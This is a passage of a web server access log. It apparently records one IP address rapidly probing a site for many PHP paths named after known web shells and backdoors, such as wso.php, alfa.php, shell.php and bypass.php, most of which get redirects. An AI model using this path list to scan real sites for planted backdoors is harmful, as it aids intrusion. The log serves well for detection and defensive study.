/wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:34 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:34 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:35 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:41:35 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:41:35 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:36 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:36 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:36 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:37 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:37 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:41:37 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:38 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:38 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:41:39 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:39 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:39 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:40 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:40 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:40 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:41 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:41 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:41:41 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:42 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:42 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:42 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:43 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:43 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:43 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:41:44 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:41:44 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:44 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:45 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:45 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:46 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:46 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:46 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:47 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:47 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:41:47 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:48 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:41:48 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:48 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:49 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:49 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:49 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:50 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:50 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:50 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:51 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:51 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:51 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:52 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:52 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:41:52 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:53 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:53 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:53 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:54 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:54 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:55 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:55 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:41:55 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:56 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:56 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:56 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:41:57 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:57 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:41:58 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:41:58 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:41:58 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:41:59 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:41:59 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:41:59 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:00 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:00 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:42:00 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:01 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:01 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:01 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:02 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:02 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:03 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:03 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:03 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:04 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:04 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:42:04 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:05 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:42:05 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:05 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:06 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:06 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:42:06 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:07 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:07 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:07 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:08 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:08 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:09 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:09 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:42:09 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:10 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:42:10 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:42:10 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:42:11 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:11 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:11 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:42:12 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:42:12 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:42:12 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; 